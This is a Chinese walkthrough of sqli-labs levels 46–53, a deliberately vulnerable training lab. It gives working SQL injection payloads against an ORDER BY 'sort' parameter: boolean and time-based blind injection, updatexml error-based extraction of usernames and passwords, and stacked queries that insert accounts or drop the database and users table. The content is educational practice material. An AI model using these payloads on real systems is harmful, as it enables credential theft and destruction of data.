sqli-labs靶场46-53关(综合)

目录

less46(数字型rand布尔盲注)

less47(报错注入)

less48(数字型时间盲注)

less49(单引号时间盲注)

less50(整数堆叠)

less51(单引号堆叠)

less52(整数堆叠)

less53(单引号堆叠)



less46(数字型rand布尔盲注)

通过get传参sort

发现1,则按第一列排序

2,则按第二列排序

3,则按第三列排序

所以其实就是一个order by语句的作用

利用order by rand()注入,即sort=rand()

sort=rand(1),当布尔值为真时,页面返回:

sort=rand(0),当布尔值为假时,页面返回:

利用这个特性,利用布尔盲注:

?sort=rand(length(database())=8)------爆数据库名长度

发现当参数为8时,返回页面和rand(1)一样,即布尔值为1,所以数据库名长度为8

?sort=rand(substr((select database()),1,1)='s')------爆数据库名

?sort=rand(substr((select table_name from information_schema.tables where table_schema='security' limit0,1),1,1)='e')------爆表名

?sort=rand(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit0,1),1,1)='i')------爆字段名

?sort=rand(substr((select password from security.users limit0,1),1,1)='1')------爆数据



less47(报错注入)

?sort=1'报错------判断为单引号闭合

?sort=1'--+正常回显------确定为单引号闭合

利用报错信息,做报错注入:

?sort=1' or updatexml(1,concat(0x7e,(database()),0x7e),1)--+------爆数据库:

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+------爆表名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+------爆字段名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users),0x7e),1)--+------爆数据



less48(数字型时间盲注)

这关是数字型,和less46类似。但是这关没有报错信息,只能盲注 。

可以直接用less46关的rand布尔盲注,也可以使用时间盲注。这关演示时间盲注:

?sort=1 and if((length(database())=8),sleep(5),1)--+------爆数据库名长度

?sort=1 and if((substr((select database()),1,1)='s'),sleep(5),1)--+------爆数据库

?sort=1 and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+------爆表

?sort=1 and if((substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+------爆字段

?sort=1 and if((substr((select password from security.users limit 0,1),1,1)='1'),sleep(5),1)--+------爆数据



less49(单引号时间盲注)

这关和less47类似,都是单引号闭合,但是这关没有报错信息,不能使用报错注入,只能使用时间盲注。

?sort=1' and if(length(database())=8,sleep(5),1)--+------爆数据库名长度

?sort=1' and if(substr((select database()),1,1)='s',sleep(5),1)--+------爆数据库

?sort=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+------爆表

?sort=1' and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i',sleep(5),1)--+------爆字段名

?sort=1' and if(substr((select password from security.users limit 0,1),1,1)='1',sleep(5),1)--+------爆数据



less50(整数堆叠)

这关爆库方法和less46一模一样,不做赘述,这里考察的是堆叠注入。

首先判断好闭合类型------数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less51(单引号堆叠)

?sort=1'报错------判断为单引号闭合

?sort=1'--+正常回显------确定为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



less52(整数堆叠)

尝试各种闭合均不行,初步判断为数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less53(单引号堆叠)

?sort=1'报错

?sort=1'--+正常回显------判断为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



相关推荐
chanalbert20 分钟前
数据库连接池深度研究分析报告
数据库·spring
snpgroupcn1 小时前
泰国零售巨头 CJ Express 借助 SAP 内存数据库实现高效数据管理
数据库·express·零售
明月看潮生3 小时前
青少年编程与数学 01-011 系统软件简介 19 SSMS 数据库管理工具
数据库·青少年编程·编程与数学
blammmp3 小时前
Redis : set集合
数据库·redis·缓存
翔云1234563 小时前
精准测量 MySQL 主从复制延迟—pt-heartbeat工具工作原理
数据库·mysql
厚衣服_33 小时前
第15篇:数据库中间件高可用架构设计与容灾机制实现
java·数据库·中间件
明月看潮生4 小时前
青少年编程与数学 01-011 系统软件简介 13 Microsoft SQL Server数据库
数据库·microsoft·青少年编程·系统软件
LUCIAZZZ5 小时前
项目拓展-Jol分析本地对象or缓存的内存占用
java·开发语言·jvm·数据库·缓存·springboot
寒山李白5 小时前
MySQL分库分表面试题深度解析
数据库·mysql·面试题
入眼皆含月5 小时前
docker安装mysql数据库及简单使用
数据库·mysql·docker